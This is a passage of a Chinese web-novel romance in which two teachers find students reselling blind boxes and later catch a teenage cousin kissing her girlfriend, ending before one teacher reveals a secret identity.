“我没事。”林筝墨深吸一口气,迅速往前走,“走吧,快些上去。” 她的声音在发颤,呼吸不稳定地起伏着,上楼梯的速度也异乎寻常,越走越快。 简越凝视着那道黑影。? 怎么个事? 她怎么了?—— 作者有话说:来咯来咯[狗头] 准时吧准时吧[狗头] 第23章 第二十三章 小巷啃嘴日记 第二十三章 林筝墨快步向上走, 黑暗、蟑螂、老鼠,都敌不过她心头的无措。慌张居多,觉得是不是自我封闭太久,和别人有一点点肢体接触就心慌? 没有答案。 像机器人一样, 双腿只是机械地抬起。 直到抵达楼顶, 将那扇铁门一推, 吱嘎一声,天台的风吹过来, 冷风拂面, 才能喘息一口。 与此同时,阳台上的笑声戛然而止。 那几人同时回过头来,黑黢黢的天幕下, 瞥见不应该出现在这里的人,瞬间噤了声。 赵筱筱表情先是凝固在半空,发现是林筝墨, 好容易松了口气,结果下一秒, 林筝墨身后冲出一个简越来。 鬼啊! 小腿软绵绵。 “你们在干什么?”简越长腿一迈, 站在漆黑的天幕下, 黑压压的气场扑面而来,眼神刺向某人:“赵筱筱?” 赵筱筱只觉得后背一凉, 眼前浮现的场景是一条木棍已经打上来了, 虽然还没疼, 但距离疼已经不远了。 “哈”人尴尬的时候确实会发出违和的笑声,“林简老师主任?晚上好啊。” 这鸟不拉屎的地方,她们怎么找上来的? “你们在干什么?”简越重复这句,朝她们走去, 手机的电筒一晃。 三男三女。 这搭配很容易让人觉得在谈恋爱? 但又不像。 其中五个人是同班同学,简越认识,另一个短发女孩儿,简越不认识。短发女孩儿鲻鱼头,白白嫩嫩,尖下巴高鼻梁,一副桀骜不驯的模样,一看就不是南中的学生。 哦,所以机车的主人是她? 简越手机的光在赵筱筱裤子上晃了晃,冷冷道:“你说说情况?” 赵筱筱膝盖不争气,软了一下,半天磕不出一句话,旁边的机车女孩儿挺身而出:“你没必要吧?我们也没做什么见不得人的事情。” 简越一句话戳过去:“哦,那你来说说?我看有没有必要。” 机车女孩儿啧了一声,一句话要顶上去,赵筱筱捏了她一下,捏皮球似的,女孩儿嘴巴又瘪了下去。赵筱筱不敢吱声,其余三个男孩儿变成了真正的鸵鸟,缩着脖子瞪着眼,身材魁梧胆子小。 只有沈礼萍嗫嚅道:“简主任,都是我的问题,他们为了帮我。” 简越绷着的神经终于懈下来,语气回温:“嗯,不急,你说说,所以具体是什么情况?” 沈礼萍说 * 事情大概是这样的: 机车女孩儿名叫姜羽,家境优渥,不知道是南城哪家落跑的大小姐,叛逆得很,单是那辆车就要几万块钱。 人不坏,就是孤独了点。 赵筱筱是在网络上认识她的。 年轻人交朋友,目的很单纯,赵筱筱也不管人家有钱有势的,一个劲使唤。 下午招摇过市,看看似偷偷摸摸,实则 “对,我们在倒卖PPMT。”沈礼萍声音越来越小:“我们今天赚了800块钱。” PPMT,是现在很流行的一种盲盒。由于过于时尚以及可爱,算是一种潮流,不论年轻人还是成年人,收藏的不在少数,但有些款式是限定款。 那么这里面就存在着倒卖市场 作为著名网络冲浪选手,赵筱筱在看到某则新闻“倒卖PPMT买车买房”后,动了倒卖的小心思,于是拉上班上的几个资深爱好者,风风火火做起了倒手。 这几人拉了个小群,晚上,作业也不写,躲在被窝里在某二手平台刷新产品。 各司其职,凭借着对盲盒的喜爱程度,能分析出现在网络上的爆款,什么好卖,什么利润大。 总之这点智商是没用在学习上。 昨晚,也就是周四晚上,赵筱筱夜间冲浪,有个卖家不懂市场,急于出手,赵筱筱刷刷砍价,约好第二天面交,捡了不少好货。 放学后坐上姜羽的机车,欣然前往,到约定地点,成功拿到货。 与此同时,六人小组里,负责出售的李明已经找好了同城二手贩子。 当场买,当场卖,经几人这么一倒手,八百块到手,信心猛增,可谓未来事业蒸蒸日上,年入千万不是梦!! “真不上学了?”简越一盆冷水泼过去:“换句话说,就算每天有八百块来捡,你们六个人平分能得到多少。” 众人不语。 是不多,但对学生来说也不少了。换句话说,钱是其次,最重要是成就感。 简越大致看了一下,他们在天台上买了一些饮料和零食,无非就是非常正常的庆祝罢了。这群学生确实没做出什么过分的事情来。 而且,听沈礼萍的语气,似乎大家赚的钱一大半都分给了她,大概是觉得她更需要钱吧? 出发点是好的。 嗯 林筝墨也算是预言家了。 简越必然是要扫他们的兴了,她做惯了坏人,再做一次也无所谓。 “收拾收拾回去吧,很晚了,垃圾不要留在这里。” “好吧。”赵筱筱带头收拾,其余默不作声跟着行动起来。 林筝墨看了眼时间,快八点钟,其实也不是很晚。诚然这群学生因为这件事影响了成绩,但总归来说,并没有做什么丧尽天良的事情。 也许,只是说也许,也许今天的事迹,对他们来说鲜艳的一笔,是属于这几个学生的独特记忆。 倒是她和简越,两个麻木又古板的成年人,破坏了这场庆功宴。 “简主任。”林筝墨小声唤简越,“和你商量一件事。” “嗯?” “不然我们” 林筝墨在简越耳边低语,轻声细语的热气扑腾在简越的耳朵上,令人脸颊升温。 林老师说,既然他们吃的喝的都买了,我们还是不要破坏她们的兴致了? 简越说,那怎么行,一定要让她们安全到家,你忘了我们来干嘛的了? 林老师说,他们没谈恋爱,没犯法,根本没做什么大不了的事,我们何必呢?不然我们去楼下逛逛吧,九点半再回来接她们? 简越愣了一下,她觉得林筝墨确实比她有人情味,她年级主任当惯了,很难走出那种管理思维。 简越思考了一下,说好。 “简主任说你们继续玩。”林筝墨确实适合当好人,一开口,气氛都缓和不少,“我们过一会儿来接你们回家,你们慢慢吃,慢慢聊,前提是玩归玩,闹归闹,以后考试不可以乱考。” 赵筱筱眼冒金光,顿时对林筝墨的崇拜之意多了三分。 是不是意味着今晚不用挨打了? “诶嘿~”赵筱筱回归本性:“你们一起来呗,我们有卤鸡爪你们吃不吃?” “加入我们!林老师!”另外几位发出邀请,其中一位直接递给林筝墨一个鸡爪,“林老师快吃!贼香!” 简越站在一旁不做声,心想,怎么没人问我呢?坏人不配有鸡爪吃吗? 罢辽 “简简主任也吃。”递给她鸡爪的时候明显就要小心翼翼得多了。 “我不吃。”简越婉拒,转身往楼下走,“九点半在楼下等你们。” 林筝墨回过头,发现简越的背影迅速消失在视线里,忙说:“我先下去了,你们继续吧。” 她去追简越的身影,漆黑的楼道里,两人的步伐呈旋转式追逐,像一团漩涡。林筝墨摸着扶梯哒哒哒向下走,一边下楼一边说:“简主任等等我!” 简越走到一楼,故意顿下脚步,隐在角落里不语。 听见林筝墨慌慌忙忙追下来,险些撞进简越怀里。 林筝墨一声惊呼:“你在这里!” 简越笑:“你让我等你啊。” 林筝墨心跳如雷:“你该发出一点声音,让我知道你在这里。” 楼道很黑,几乎只能瞥见对方脸颊的轮廓,黯淡的光影投在角落,林筝墨捕捉到简越瞳仁里的光芒,两人视线无意触碰在一起,在黑暗里搅拌,烘烤。晦涩又热烈。 这是今晚第几次了? 第二次。 林筝墨第二次感到罪恶,这是一种没有缘由的罪孽。 她发现自己是有一点喜欢简越的眼睛的,对视时,那是一种本能的吸引,譬如看见一幅风景会油然而生的情愫。但她也害怕看简越的眼睛,那是一把道德的利刃,让她不敢,也不能,对这种反应产生太多的深度思考。 她要迅速回避,赶在情绪以前。 身体很快做了回避,灰尘让她的喉咙呛咳起来,制造的声音反而缓解了这种气氛。 “咳,这里太脏了,我们先出去吧。” 简越颔首:“好。” 走出楼道,是一条狭长的小巷。这一带老人居多,为了节约电费,晚上不爱开灯,两人基本是在黑暗中行走。 简越也不用手机电筒支亮,似乎很享受与林筝墨的这个瞬间。 “我们去哪?” “不知道。”林筝墨低头看地面,唯恐钻出一只老鼠来。 “我们先找一个地方坐着,不走太远,等会儿也好回去接她们。” “同意。” 小巷尽头是另一条小巷,缓缓走了一截,发现角落里摆放着一张藤椅和玻璃桌,大概率是老人家白天打麻将消遣用的。 俩人一人坐一张椅,薄薄的肩膀靠上去,同时发出一声喟叹。 哎。 累了。 从下午开始,就全城找人找了两三个小时,一粒米没吃,还落得一个坏人的名号,简越情不自禁惆怅起来。 林筝墨敏锐又心细,她觉得简越情绪好像有点低落,主动关心对方: “简主任,你饿不饿?” “饿。”简越肩膀微耸,“等会儿出去再吃饭吧。” “给你。”林筝墨从兜里摸出一个小口袋,里面是赵筱筱先前给她的鸡爪,她留了心眼,“吃吧。” “诶?”简越自然是有些意外,“我刚都不好意思接呢,还是你聪明,我还以为要饿肚子了。” 林筝墨另一只手揣兜里,又摸出两个一次性手套,“放心吧,不会让你饿着。” 她分一只手套给简越,又递去一只卤鸡爪。 平日对卤味不太感冒,但饿的时候什么都是美味。不过,要在喜欢的人面前啃鸡爪,简越有点难为情了。 “吃啊,不会要我给你剔骨吧。”林筝墨竟然开起玩笑。 简越抬眼看她,唇角荡漾笑意:“谢谢小林。” “不客气老简。” 简越噗呲笑出来,慢条斯理咬一口鸡爪,小声说:“你每次叫我这个,我都——” “嗯?” “你不觉得老简很像老干部吗?像那种端着茶杯,一口烟,一口茶的老头。” 林筝墨蹙眉,“哪有,是因为你叫我小林,所以我才叫你老简的。” 她可从来没有想过老简很像老干部,倒是时不时想起“老茧”是真的。 “也行,“老”和“小”怎么不算一种CP呢。”简越小声嘀咕着。 简越确实说得很小声,算是一种自言自语。 可林筝墨耳朵很尖,一字不差听进去,这句话怎么听怎么奇怪。总觉得简主任这句话姬姬的,不像是直女会说出来的话。 哦,不。 直女最喜欢说这种话了。 直女口无遮拦? 林筝墨善于自洽,也善于为别人找借口。 她咬了一口鸡爪上的皮,嘟哝着:“简主任最近怎么样?张老师后来介绍的还满意吗?” “啊,非常不满意,听那些人说话,是可以开油厂的地步。” 林筝墨只是笑,觉得简主任完全没必要。 “那不然换个渠道?”林筝墨认真给对方支起招来:“张老师比较传统,注重家庭条件,只看经济实力,不看人品的,简主任你应该不会满意。” 简越装傻:“那怎么办呢?” 林筝墨:“还是要自己喜欢的比较好吧。” “我很迷茫啊。”简越化被动为主动:“所以你是怎么找到对象的呢?” 林筝墨顿了一下,和同事讨论隐私很危险。但这个话题好像是自己开启的,简主任的话,应该也不像是会乱传谣言的人吧。 “我比较特殊。”林筝墨顶级的老实本分:“我是在网上认识她的。” “啊,真的吗?”简越故作惊讶,“所以对方什么特质吸引了你?” “一开始我没打算和她谈恋爱,总觉得网恋不靠谱。而且我和她一开始也不是奔着谈恋爱去的。” 林筝墨说到这里,忽然看了简越一眼。她发现,简越给她的感觉,和啊啊啊有相似之处,本质在于,可以在这个人面前畅所欲言,踏实,靠谱。 “我也不知道她哪里吸引了我。”林筝墨直言:“但她问我要不要谈恋爱的时候,我一下子就答应了。” “为什么?”简越看着林筝墨,眼底荡漾着光,是期许,是感动,是从来没听到过的真心话。 “我是个比较迟钝的人,可能她挖掘了我的情感吧?”林筝墨不太确定,点到为止,“所以简主任可以尝试去寻找自己感兴趣的人。” “嗯。那在网络上确定关系的话,捅破关系也需要勇气吧。” “互相喜欢的话,和线下没有太大区别吧?”林筝墨说。 简越手里的鸡爪吃了一半,悬在半空。她一瞬不瞬看着林筝墨,目光不移。 真的没有区别吗? 她在想,如果林筝墨知道她就是啊啊啊,会像小鸵鸟一样逃跑吗? 她能从林筝墨先前的话语中感受到爱意,这种“旁观者”的视角,反而激增了她的自信。 摊牌真的会有不好的结果吗?简越内心稍有动摇。 “林筝墨。”简越忽然唤她:“我想跟你说件事。” 忽然被直呼大名。 林筝墨吓了一跳,“怎么了?” 她望向简越,发现简越眼睛里闪烁着异于往常的光芒。 林筝墨眉梢微拧,身子下意识往后偏,瞬间拉开了与简越的距离。 说起啊啊啊,她是恋爱中的女孩儿。 可面对简越,她好像又变成了小鸵鸟林筝墨。 先前掏心窝的话只是一种交流,而不是情绪表达,亦或者,是礼貌的面纱,她还是她,是攻不可破,是需要边界感的林筝墨。 她是不能接受简越有别的身份的。 简越深吸一口气,一种感觉,哪怕再多泄露一个字,林筝墨就马上会逃开。 好似被泼了一盆冷水,理智回温,“仔细品了一下你的名字,觉得很好听。” 肉眼可见林筝墨松了口气,“简主任,要不要这么正经?吓我一跳。” 简越咬了一口鸡爪,掩饰自己的情绪,“吃完我们提前过去找她们吧。” “嗯。” * 赵筱筱有个秘密。 不能被简越发现的秘密。 逼仄的小巷,银白色机车靠在不起眼的墙角,少女的发丝缠绕在一起,混着滚烫而炽热的呼吸。 姜羽捧着赵筱筱的脸,两人嘴唇贴在一起,青涩地攫取着彼此的气味。 先前她们在楼顶吃过棒棒糖,随便找了个借口俩人跑下来接吻,贪婪地捕捉着彼此嘴里的甜味。 没有人知道她们在谈恋爱。 这是她们的小秘密。 直到赵筱筱被吻到不能呼吸,间隙推开姜羽:“这里安全吗?我好害怕,被我姐看到就完蛋了。” 姜羽清秀的眉梢里夹杂着不屑:“这里又没灯,她们不是九点半过来吗。” 这才九点。 还能嘴儿十来分钟呢。 “你之前是不是和别人亲过啊。”赵筱筱眨了眨眼,眸子里有怯意,“你怎么这么娴熟。” “我没有啊。”姜羽食指在赵筱筱嘴角抹了一下,“主要是你嘴巴太甜了,我忍不住。” 唉哟。 赵筱筱脸蛋红红。 第一次接吻比想象中更棒,女孩子的嘴唇软到像棉花糖,姜羽轻轻抿她一下,小脑袋嗡嗡直响。 姜羽:“还要来吗?” 赵筱筱四处瞅了瞅,抿唇道:“想,可是我怕我表姐。” “她不可能过来的啊,这里好偏。”姜羽搂着赵筱筱的腰,轻轻将她贴在墙面上,“我们继续吧?” 赵筱筱闭上眼睛,木讷地等待下一个吻。 害怕。 不怕。 管它的。 都选择早恋了。 嘴就嘴吧。 嗯,姜羽的嘴唇甜甜 赵筱筱闭上眼睛好好感受,渐入佳境,浑身飘飘然 * 简越和林筝墨折返的途中抄了近道,所以俩人很快就抵达小巷。 那时她们还在聊天,全然没注意前面银色机车的方向在做什么机车的事情。 林筝墨嘟囔:“这一带的人睡得都好早啊。” 简越:“是啊,都没什么光。” 话音还未落地,忽然听到滋滋拉拉的声音。简越顿下脚步,看了林筝墨一眼。林筝墨与她同样警惕起,两人同时噤声。 什么声音? 奇奇怪怪。 刺啦刺啦,渍渍,啵 简越:? 林筝墨:? 时间:晚上。 地点:破旧小巷。 事件:小嘴碰碰车演练。 人物:学生? 一定是学生! 此地乃天选之地,贴嘴嘴绝对不会发现。简越在黑暗中给了林筝墨一个眼色。 林筝墨唇语:“我们学校的学生?” 简越颔首:“百分之八十。” 林筝墨头大:“你管吗?” 简越摇头:“不想管。”下一秒:“但得管。” 两人暂且决定去会会面,但没有立马采取行动,主要那俩年轻人肆意妄为,忘情地进行着,滋里啧啦,声音热情过度,以至于简越和林筝墨脸颊发烫。 林筝墨自愧不如,她活了二十八年了初吻还在,怎么这十几岁的小年轻比她还懂? 简越面露难色:“也看不清,说不定不是咱们学校的?不然先走了?” 野火烧不尽,春风吹又生。她不知道在小巷和天台棒打了多少对鸳鸯。最重要的是,今天实在太累了,不想多管闲事。 林筝墨如释重负:“也行,走吧。” 两人小心翼翼转过身,准备绕道而行。前脚刚踏出去,后背忽然听见一声: “今天就到这里吧,时间不早了。” “下次继续吗?” “必须继续。”听见嘿嘿两声,语出惊人:“下次你不要一直这样咬我了,我嘴皮都磕破了。” 简越忽然顿下脚步,那声音好熟悉熟悉的感觉从头到脚蔓延开来,直冲天顶盖,点亮了某个想法。 一瞬间,简越猛然转身,定睛一看,那黑漆漆的侧影,那轮廓!那腔调!不是赵筱筱是谁!! “赵筱筱!”简越往巷子那边唤了声。 “诶?”赵筱筱下意识应了声,待到下一秒反应过来,腿已经发软,“啊啊啊,我不是赵筱筱!我不是!!” 她迅速从姜羽怀里弹开,转身就跑。简越几个阔步跟上,步伐太快,噼里啪啦碰倒不少东西,木棍掉在地上,发出清脆的梆啷声,简越在黑暗中随机捡起一根。 打狗棒来了! 赵筱筱失了魂:“我不是赵筱筱!我不是赵筱筱!”回头一看,简越的身影已经欺压过来。 吓得赵筱筱瞬间变异——真·黑夜大老鼠。 赵筱筱瞬间崩溃,边跑边叫:“不是,姐……简主任,你别追我了,我错了!” “错了?”简越一口气差点没提起来:“那你还跑!”—— 作者有话说:谁敢想本文第一场吻戏居然是赵筱筱 成年组手都不敢牵一下 那边嘴巴都啃出血了[狗头] 第24章 第二十四章 因为我喜欢女人 第二十四章 生活充满戏剧, 但这戏是不是太精彩了一点儿? 简越心情爆炸,作为赵筱筱的表姐兼年级主任,她连自己都是未出柜的状态,居然撞见赵筱筱和机车妹妹在小巷里打啵? 这世界到底还是疯了! 这一幕太浓, 太烈, 像一滴墨水滴入简越的眼睛里, 致使她只能站在漆黑的巷道里,脑袋遁入宕机状态。 “赵筱筱, 你过来!” “呜呜你不要打我嘛。”赵筱筱缩头缩尾, 小步小步挪动着,结果半天也没挪出一米远。 “你过来,过来讲话。”简越做了个骗她过来的手势, 尽量保持冷静,表情却出卖了她。 “我——”赵筱筱吓到眼睛泛红,声音都在颤抖, “你把手里的棍子先扔掉好不好?有什么我们好好商量嘛,现在打人是犯法嘟。” 嘟? 你现在还有心情嘟? “给你三秒钟, 麻溜过来。” 简越显然是气急攻心还在强撑。 一旁的林筝墨觉得她好反常, 怎么可以对学生这么凶?赵筱筱早恋当然是问题, 但也没必要到这个地步?她是老师,又不是家长。 另一方面, 林筝墨惊讶的是, 赵筱筱居然喜欢女生 林筝墨心如波涛汹涌, 竟然不知如何劝阻。 黑暗中,只见赵筱筱到简越跟前,只是和简越对视一眼,赵筱筱哇了一声, 抽抽噎噎哭起来。仿佛简越带给她的压迫力已达到顶级。 “不要告诉我妈” “呜——” “我下次不亲了。” 简越低声训她几句,筱筱痛哭流涕,场面一度壮烈。 林筝墨只好过去劝和:“简主任,你冷静一下。” 冷静一下。 赵筱筱又不是你妹妹。 你怎么凶成这样? 简越好看的唇抿成一条线,神情凝肃,一股郁气堵在胸口,好半天才蹦出一句:“赵筱筱同学,你和女生谈恋爱?你知道后果有多严重吗?” 简越其实想表达的意思是:你早恋已经很严重了,你谈个女的,你要吓死我?吓死我们家?我们家女同性恋还不够多吗!我二十八九还没勇气出柜呢,你倒好,小小年纪给我拉坨大的。 同性恋是个敏感话题。 特别是对林筝墨来说。 这话钻进林筝墨耳朵里,只是变了味儿,觉得相当刺耳。 林筝墨很失望,她没想到简越的重点不在于谈恋爱,而是女生和女生谈恋爱。 这边简越还在凶。 “不许哭。”简越一记锐利的目光,要将赵筱筱刺穿:“哭可以解决问题是吗?” 赵筱筱的女朋友听不下去,顶起嘴来:“谈个恋爱怎么了?我们互相喜欢,又不是什么见不得人的事,你干嘛要把她骂到哭,你们大人真的好自以为是啊。” 赵筱筱瞥她一眼:“你少说几句” 姜羽倒吸一口气,看在赵筱筱的面子上,又活生生把后面的话咽了下去。 林筝墨旁观这一切,心里也不是滋味。她觉得简越审判赵筱筱的同时也在审判自己,早恋是学生应该规避的,但喜欢同性不应该成为被指责的理由,作为年级主任的简越,她不应该干涉别人的性取向。 每个人都沉浸在自己的世界里,各说各有理。 实则简越才是最难受的,她要如何给姨妈交待?要保密吗?要包庇吗?赵筱筱性取向真的是确定的吗?还是青春期懵懂的尝试? 可这些话不能当着林筝墨的面说,因为她和赵筱筱的关系是不公开的。 “林老师。”简越望向林筝墨,公事公办起来:“楼上的同学麻烦你了,赵筱筱同学这边我来处理就好。” 林筝墨心急如焚,又不好表现出来:“你要怎么处理?” “该怎么办就怎么办。” 果不其然,林筝墨说:“嗯简主任,早恋确实是问题,但性取向不是。” 一直低头沉默的赵筱筱,感激地睃了林筝墨一眼,暖流淌过心间,能在这个节点出来帮学生说话的老师确实不多了。 简越当然知道性取向不是问题。 可她要当着赵筱筱的面如此表态吗?那岂不是一种纵容?青春期的女孩儿有很多东西都不确定,指不定赵筱筱都不明白那个吻代表什么意思。 简越很清醒,她的认知,以及她的身份,是两码事。她现在需要做的,是把所有人支开,和赵筱筱好好谈谈。 “好的林老师,那上面的同学就麻烦你了,这两个人先交给我。” 简越看起来云淡风轻,表情没有一丝波澜。 林筝墨忽然就有点生气,她觉得简越应该没把她的话放心上。 搞不好转身就给学生一个处分,或者告知家长之类的。 她好想再帮赵筱筱争取一下,可她性格鸵鸟,不会反驳,只是站在黑暗里直勾勾看着简越。她要怎样说出那句:简主任你能不能别因为取向问题告诉她的家长? 好难。 踟蹰着,犹豫着,最终还是没再说任何。 她害怕。 害怕简越怀疑她的动机。 害怕简越发现她也喜欢女人。 这是一种无需存在的心虚,却横亘在林筝墨心里,挥之不去。 “他们下来了。”简越往楼道口看了眼,天台的学生已经过来汇合,询问着发生了什么,简越迅速支开他们,“林老师,安全到家后发个消息,麻烦你了。” 赵筱筱撇嘴,嘟囔:“我走了林老师。” 简越望向另一道身影,“那位同学,骑上你的车,跟我走。” 林筝墨怔在原地,手脚麻木,只觉得浑身泛着冷。 她觉得自己好懦弱 * 姜羽骑着摩托车低速嘟嘟嘟嘟,车轮压在小巷的石板路上,回荡在空寂的小巷。 气氛过于沉重,黑漆漆的夜色压在头顶,简越全程没说一句话,赵筱筱也只能低头看脚尖,姜羽则是看着赵筱筱的背影。 直到走出巷口,简越才停下脚步,回头看姜羽:“你回去吧。” 姜羽有点意外:“你不骂我?” 简越:“你是我们学校的学生?” 姜羽摇头,“不是。” “那我有什么义务教育你?”简越有些窝火:“我骂人是要拿工资的。” 她觉得姜羽在场也不合适,让她也走掉比较好。 姜羽不想走,赵筱筱却铁了心,今晚横竖是死,早来晚来都得来,真正的女同敢于直面表姐的八百米长刀,来吧,战斗! “你走吧。”赵筱筱对女友发号施令:“回家开车开慢点。” 姜羽:“我不走。” 赵筱筱横她一眼,那眼神仿佛在说,你还听不听我话了? 姜羽瞬间软下来:“好叭。” 她骑上机车不情不愿地走了,三秒一回头,差点撞电线杆上,险些摔出个脑震荡来。 “哎呀你。”赵筱筱再度发号施令:“快走!回家注意安全!” 呵。 患难见真情? 好一个你侬我侬。 简越看不下去,实话说,她要比赵筱筱更慌,不管怎么做,都里外不是人。 姜羽很快消失在两人视线里。 “姐” 简越叹气:“赵筱筱你翅膀真的硬了。” “我没有,我不敢”赵筱筱嗫嚅道:“你消消气,你冷静,你听我说,事情可能没有你想象中那么严重。” 简越冷笑:“不严重?如果你妈问我你在干嘛,我如实汇报就好了?” 赵筱筱语气软绵绵:“姐,我的姐,你不能把我往火坑里推啊,你这一说,我能活过明天吗我?” 两人已走到大马路上,黄橙橙的路灯压在肩膀上,简越的影子与赵筱筱的交错着,仿佛她们是一个人,一类人。 沉默半晌,简越才问出那个问题:“所以是什么时候开始的?” “唔?开始谈恋爱吗?”赵筱筱眨了眨泛着泪的眼睛,“没谈多久,一个月吧” “那你就敢和她接吻?” 赵筱筱无语凝噎,“谈恋爱不接吻好像也挺奇怪吧?” “所以你真的喜欢女生?”简越侧目,不可置信,完全缓不过神来。 赵筱筱表情很耐人寻味。 她都……她和别人接吻,嘴巴都吃成那样了,简越居然还幻想她只是好奇心作祟吗? “姐,现在时代不同了,其实喜欢女生也没什么的。”说话时偷偷瞥向简越,见简越表情不对,连忙滑跪:“当然你的取向是男人,你觉得不正常也是合理的!以及,我谈恋爱也是不对的!” 简越心想,我和女生谈恋爱的时候你连话都讲不清楚呢,牙牙学语,咿咿呀呀,屎尿乱拉,现在反过来教育起人来。 “既然被我看到,我怎么不管?”简越表态:“但暂且可以不和你妈妈说,只是如果有朝一日东窗事发,你不能把我拉下水。” 赵筱筱一万个点头,“我一定我一定!” 简越摆出条款一二三来:“林老师说这次月考成绩很差,你的英语至少要回到原来的水平吧?” “好好好!”赵筱筱见好就收:“我都答应你我都答应你!” 简越唇角漾开笑意:“以及,和你的小女朋友分手。” 赵筱筱战术后仰,表情复杂地看着简越。 好狠的直女。 我恨。 这一条她不敢答应。 “分手还是和你妈妈说?” 赵筱筱哽咽道:“可是我很喜欢她。” “你才十六岁。” “十六岁怎么了,我们又不生孩子,就抱一抱,你担心什么。” 简越:“” 点赞。 中肯的。 但得假装不同意。 简越并非真的要让赵筱筱分手,她不是那种思想顽固的人,十六岁的女孩儿谈恋爱不是大多数,但也不少。 不过,总得让赵筱筱付出点什么,如果能提高成绩是最好的。 “那你实在不想分,数学及格也行。” 只能考30分的赵筱筱一声呜呼:“你就不能像林老师一样开明吗?” 不提还好,一说起林筝墨,简越就气不打一处来,看得出当时林筝墨是帮赵筱筱说话的,简越心有明镜,无奈却要装傻。 也许在林筝墨的世界里,这年纪主任真是管得宽。 近日好不容易拉来的好感,也是前功尽弃了。 “你一天天就知道闯祸。”简越忽然烦闷起来:“你们林老师估计要讨厌死我了。” 赵筱筱:“这干我什么事?你不要什么事情都怪到我头上嘛!” 简越懒得和她理论,句句理不清。 啊。 林筝墨她会怎么想呢? 简越都能知道答案:简主任厌同、官威很大、脾气不好。 刻板印象+100。 越想越气。 “赵筱筱你给我过来。” “莫?”赵筱筱探过头去,“又怎么了?” 简越痛恨难忍,在赵筱筱脸蛋上狠狠揪了一下。 嗷!! 都怪你,臭表妹! * 【加更章】 * 最终,简越和赵筱筱商订了一个《英语数学杀出一条路》条约,互换条件是保密以及不分手。 之后将赵筱筱安全送到姨妈家,姨妈开门的时候甚是热情。 “怎么又找你姐去了?不是去沈礼萍家吗?” 赵筱筱忽悠起家长有一套:“去了啊,路上遇到我姐,就没让你来接了。” “越越,进来坐。”姨妈拉着简越,要和她唠两句。 若是平常,简越一定欣欣然,现在帮着赵筱筱打掩护,心里实在过意不去,婉拒:“今天就不坐了,过两天放假过来吃饭。” 姨妈知道她忙,也不留她,转身去客厅拿了几个大苹果,沉甸甸的爱意让简越愧疚难掩,几番寒暄迅速撤场。 临走前给了赵筱筱一个眼神,令她自己体会。 赵筱筱缩头乌龟,谄媚地点点头,表示:知道了知道了,一定把成绩搞上去。 简越从姨妈家出来的时候,时间几近十点半,骑上小电动车,趁着夜色慢悠悠回家,五月的栀子并没起到安定神闲的作用,反而令她焦躁起来。 烦闷有关于赵筱筱。 简越这些年一直没出柜,有一个最重要的原因是,简家的人对她太好。血缘上,她认为自己是个“外来人”,这是不争的事实,但家里人给她的温暖胜过血缘,比如姨妈,阿婆,简桑更是不用赘述。 从小在福利院长大的简越,深知人情冷暖,她懂得一个道理,简家给她的爱是无私的、无价的、没有条件的。她们原本没有赡养她和爱她的义务,却毫无保留给她温暖。 她不敢让她们失望。 简越就成绩优异,她拿第一没人敢拿第二,她是所有长辈心中的“最靠谱”“最成熟”“最争气”的人。譬如对赵筱筱的教育方式都是:看看你姐看看你姐 可优秀是一回事,性取向又是另一回事。 曾经简越做过一些努力,最后发现这东西是没有办法改变的。 后来想明白了,总是要说的。三十岁?三十五岁?她要和简桑来一次对话,她是不可能和男人结婚的。 只是忽然冒出个赵筱筱,必然是加大了难度。 简家一共就她们两个女儿,关于结婚生子的执念,长辈一定会有,现在她和赵筱筱一同斩断了这条路,务必是要让她们失望了。 “铃铃铃——” 耳边忽然响起自行车铃声,简越回过神来,瞥向一旁,发现林筝墨站在教师公寓门口看着她。 简越连忙刹车,“诶?你怎么在这里?” 林筝墨一手捏着刹车铃,因为紧张,手背筋的纹路显现出来。她嘴唇泛白,一双空洞的眼睛直视着简越。 “你送赵筱筱回去了吗?” “对的。” 林筝墨好看的唇抿成一条线,试探很明显:“那你怎么处理的?” 她实在没忍住,先前试着代入了一下自己。 如果十六岁的自己和女孩子谈恋爱,年级主任把这件事告诉周京芳,那她的世界都要塌了。 赵筱筱同理。 “我把她送回家,没了。” “没了?”林筝墨明显释了口气,“没有说别的吗?” “没有。”简越看着她的眼睛,“林老师在这边等我,就是为了专门说这件事吗?” 林筝墨也很诚实:“是。” “既然专门跑过来一趟,那林老师觉得我会怎么处理?” 林筝墨不语,几分钟前,她觉得简越应该会固执己见,实话说,心头有几分恼意,要替赵筱筱说上几句,也算是豁出去了。 简越笑道:“你刚刚是不是已经在心里骂过我了?” 林筝墨连忙摇头,“没有的事。”——也就小小骂了一下啦,说你思想顽固,但怎么会让你知道呢。 “那就好。”简越指了指林筝墨手里的共享单车,“车要不锁上?我送你回家?” “不要。”林筝墨不好意思再坐她车,“我一会儿就骑回去了,今天麻烦你了。” 又要逃走。 简越叫住她:“等等,有些事我还没说完。” 林筝墨站定脚步,回头看简越。 “把车锁上吧,我送你。” * 南城夜晚的街道相对热闹,路边夜市小摊春笋般冒出来,铁铲乒乒乓乓敲着锅沿,色拉油和孜然的味道铺面而来,就很有市井味道。 最终简越还是执意送林筝墨回家,原因只有一个:她要摊牌。 她不能再这样装下去了,永远都以工作那样的角色与林筝墨相处,她们的关系只会止步不前。也许应该再泄露一点点的信息。 “所以你觉得我会和赵筱筱的妈妈说哦。” “对啊。” “其实我觉得女生和女生谈恋爱也没什么。”简越开车时目视前方,余光有意瞥向后视镜,发现林筝墨脸色有了微妙的变化。 原来简主任还有这觉悟呢? “可是你刚刚很凶。” “只是吓唬她。”简越轻声笑:“难道我要祝福她吗?以工作上的身份?简主任祝你和女生恋爱愉快?” 话音带着一点点揶揄,林筝墨紧绷的神经缓和下来。 “好吧,确实不太合适。” 林筝墨暗自叹了口气,她又误会她了。 简主任 “以及,我和赵筱筱达成协议,让她好好学,她答应了,这是我和她之间的约定。” 林筝墨颔首,“知道了。” 简越加快车速,电动车踱过闹市区,来到相对安静一点的街道,在距离林筝墨家不到五分钟的地方,简越忽然又放慢了速度。 忽快忽慢,是简越内心的博弈,她在思考,在与林筝墨的这场恋爱里,自己又要当多久的假面人呢? 她和林筝墨都是假面人,同时戴上虚伪的面纱,要假装一种人设,这种人设将她们彼此推开,永远都触碰不到对方。 “林筝墨。”简越忽然开口。 林筝墨猝不及防依旧被吓到:“简主任怎么又叫我的名字?” “这次是真的有话要和你说。” “什么事?”林筝墨好不容易放松的神经又紧绷起来,“很重要的事吗?” 林筝墨不习惯这种严肃的气氛,她怕自己承受不了那些信息。 她有点儿后悔了。 不该坐简越的车。 “这关系到隐私。” 林筝墨推脱道:“那为什么要和我说,如果是很重要的事情,还是不要说吧。” 